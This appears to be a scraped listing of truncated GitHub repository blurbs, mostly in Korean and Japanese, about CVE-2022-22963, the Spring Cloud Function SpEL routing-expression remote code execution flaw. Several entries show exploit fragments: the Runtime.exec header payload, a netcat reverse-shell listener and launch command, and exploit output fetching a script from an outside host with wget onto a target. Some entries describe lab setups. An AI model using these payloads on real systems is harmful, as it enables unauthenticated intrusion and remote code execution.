CVE-2022-22963

CVE-2022-22963 Spring Cloud Function 버전 3.1.6, 3.2.2 및 이전 버전에서 라우팅 기능을 사용할 때 사용자가 특수하게 조작된 SpEL을 라우팅 표현식으로 제공할 수 있으며, 이로 인해 원격 코드 실행 및 로컬 리소스 접근이 발생할 수 있습니다. PoC 저장소를 클론합니다 git clone https://github.com/jrbH4CK/CVE-2022-22963.git 폴더로 이동합니다 cd CVE-2022-22963 실행 권한을 변경합니다 chmode +x springCloud.sh 원하...

spring-cloud-function-rce

Spring Cloud Function SPEL 표현식 주입 취약점 CVE-2022-22963 Spring 프레임워크는 현대 자바 기반 엔터프라이즈 애플리케이션모든 유형의 배포 플랫폼을 위한 포괄적인 프로그래밍 및 구성 모델을 제공합니다. Spring Cloud의 서버리스 프레임워크인 Spring Cloud Function의 RoutingFunction 클래스의 apply 메서드는 요청 헤더의 "spring.cloud.function.routing-expression" 매개변수를 Spel 표현식으로 처리하여 Spel 표현식 주...

spring-spel-0day-poc

spring-spel-0day-poc spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function header spring.cloud.function.routing-expression:Tjava.lang.Runtime.getRuntime.exec"open -a calculator.app" build wget...

spring-spel-0day-poc

spring-spel-0day-poc spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function header spring.cloud.function.routing-expression:Tjava.lang.Runtime.getRuntime.exec"open -a calculator.app" 빌드 wget...

CVE-2022-22963

CVE-2022-22963 spring cloud function sple rce spring cloud function 원클릭 활용 도구! by charis 블로그 https://charis3306.top/ exe 파일로 패키징되어 바로 사용 가능 명령어 주제 usage: Spring-cloud-function-spel0.2.exe -h --check CHECK --route ROUTE --url URL --ip IP --port PORT --proxies PROXIES --cmd CMD spring cloud functio...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring Cloud RCE 익스플로잇 CVE 2022-22963 Spring Cloud Function의 CVE-2022-22963 원격 명령 실행 익스플로잇 취약점에 대한 자세한 내용은 여기 및 여기에서 확인하세요 PoC 호스트에서 netcat을 실행하세요: $ nc -lvnp 9001 공격자 호스트에서 기본 포트 9001로 익스플로잇을 실행합니다 예시: $ ./exploit.sh site.com 10.10.14.122 ---Reverse Shell Exploit for CVE-2022-22963 RCE in Spring...

CVE-2022-22963-POC

CVE-2022-22963 익스플로잇 설명 Spring Cloud Function 버전 3.1.6, 3.2.2 및 지원이 종료된 이전 버전에서 라우팅 기능을 사용할 때 특별히 조작된 SpEL을 routing-expression으로 제공하면 원격 코드 실행 및 로컬 리소스 접근이 가능해집니다. 자세한 내용은 CVE-2022-22963 상세 정보에서 확인할 수 있습니다. AayushmanThapaMagar가 제공한 PoC를 기반으로, 취약한 서버에서 리버스 셸을 획득하기 위한 간단한 익스플로잇을 만들고 있습니다. 이 프로젝트의 목...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 PoC 영어 번역 및 https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/SpelRCEPOC.py 의 탐지를 위해 약간 수정되었습니다. 기본적으로 대상에서 whoami가 실행되고 취약한 URL로 vulnerable.txt 파일이 생성됩니다. 이 취약점을 악용하는 것은 매우 쉽습니다. 다음은 취약점을 악용하는 curl 명령입니다. curl -i -s -k -X $'POST' -H $'Host:...

CVE-2022-22963

CVE-2022-22963 - Spring4shell 취약한 SpringBoot 애플리케이션을 실행하려면 이 Docker 컨테이너를 8080 포트에 노출시켜 실행하세요. 예: docker run -it -d -p 8080:8080 bobcheat/springboot-public 익스플로잇 Curl 명령: curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H...

Spring-CVE

Spring CVE これには、Spring SpEL / Expression Resource Access Vulnerability である CVE-2022-22963 と、spring-webmvc/spring-webflux の RCE であり「SpringShell」と称される CVE-2022-22965 が含まれます。 CVE-2022-22963 Spring Cloud Function バージョン 3.1.6、3.2.2、およびサポートされていない旧バージョンでは、ルーティング機能を使用する際に、ユーザーが特別に細工された SpEL を...

SpringCloudFunction-Research

SpringCloudFunction-Research CVE-2022-22963 연구 환경 vulfocus/spring-cloud-function-rce:latest 원인 Request Header의 spring.cloud.function.routing-expression 파라미터 구문 분석 문제로 인해 Payload 주입 공격이 발생합니다. 참고 https://hosch3n.github.io/2022/03/26/SpringCloudFunction%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/...

CVE-2022-22963-Exploit

CVE-2022-22963 익스플로잇 이 저장소는 Spring Cloud Function 버전 3.1.6, 3.2.2 및 지원되지 않는 구버전에서 발견된 CVE-2022-22963 취약점을 위한 Rust 기반 익스플로잇을 포함합니다. 이 취약점은 라우팅 표현식routing-expression으로 사용되는 특수하게 조작된 Spring ExpressionSpEL을 통해 원격 코드 실행 및 로컬 리소스 접근을 허용합니다. 설명 Spring Cloud Function 버전 3.1.6, 3.2.2 및 지원되지 않는 구버전에서 라우팅 기...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 PoC https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/SpelRCEPOC.py 을를 영어 번역 및 탐지를 위해 약간 수정했습니다. 기본적으로 대상에서 whoami가 실행되고 취약한 URL 목록을 포함하는 vulnerable.txt 파일이 생성됩니다. 추가 정보...

SpringExploitGUI

SpringExploitGUIv1.0 0x01 서문 ​ 오늘 Spring의 과거 취약점 몇 가지를 재현했고, 그김에 무기화했습니다. 현재 도구는 Spring Cloud Gateway RCECVE-2022-22947, Spring Cloud Function SpEL RCE CVE-2022-22963, Spring Framework RCE CVE-2022-22965의 탐지 및 악용을 지원합니다. 현재는 첫 번째 버전일 뿐이며, 이후 더 많은 취약점 PoC와 더 다양한 지속적 악용 방식을 추가할 예정입니다. 0x02 도구 사용 설명...

cve-2022-22963

Spring Cloud Function SpEL - cve-2022-22963 빌드 $ git clone https://github.com/twseptian/cve-2022-22963.git $ cd cve-2022-22963 $ docker build . -t spring-spel-0day $ docker run -p 8080:8080 --name spring-spel-0day spring-spel-0day 페이로드...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE 익스플로잇 이것은 Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Exploit completed $ python exploit.py 10.10.10.10:8080 'chmod +x /tmp/test.sh' + Host is...

Spring-Cloud-Function-SpEL

Spring-Cloud-Function-SpEL 詳細は個人ブログをご覧ください https://pizz33.github.io/ Spring Cloud Function SpEL式インジェクション用のテスト環境 バージョン java11 で java -jar demo-0.0.1-SNAPSHOT.jar を実行して起動 構築完了後、127.0.0.1:8080ポートにアクセス POST /functionRouter HTTP/1.1 Host: 127.0.0.1:8080 spring.cloud.function.routing-expression:...

CVE-2022-22963

CVE-2022-22963 Spring Cloud Function SpEL 표현식 주입 원격 코드 실행 취약점 탐지 및 활용 도구. 취약점 개요 CVE-2022-22963 는 Spring Cloud Function 라우팅 기능의 고위험 RCE 취약점입니다CVSS 9.8. 애플리케이션이 /functionRouter 엔드포인트를 활성화하면, spring.cloud.function.routing-expression 요청 헤더의 값이 SpELSpring Expression Language 표현식으로 직접 실행되어, 공격자가 인증 없이...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 Spring-Cloud-Function-SpELRCE취약점 재현 Docker 환경이 필요합니다. 취약점 환경 실행 방법 1 git clone https://github.com/RanDengShiFu/CVE-2022-22963.git;cd CVE-2022-22963;bash Start.sh 취약점 환경 실행 방법 2 rm -rf CVE-2022-22963/;mkdir CVE-2022-22963/;cd CVE-2022-22963/;git clone...

CVE-2022-22963

CVE-2022-22963-Reverse-Shell-Exploit これは、Spring Cloud Function のリモートコード実行の脆弱性である CVE-2022-22963 を悪用する Python スクリプトです。この脆弱性により、攻撃者は脆弱なサーバー上で任意のコードを実行できます。このエクスプロイトは、脆弱な /functionRouter エンドポイントを使用して、ターゲットサーバー上でコマンドを実行します。 使い方 次のコマンドを実行して、必要な Python ライブラリをインストールします: pip3 install requests chmod +x...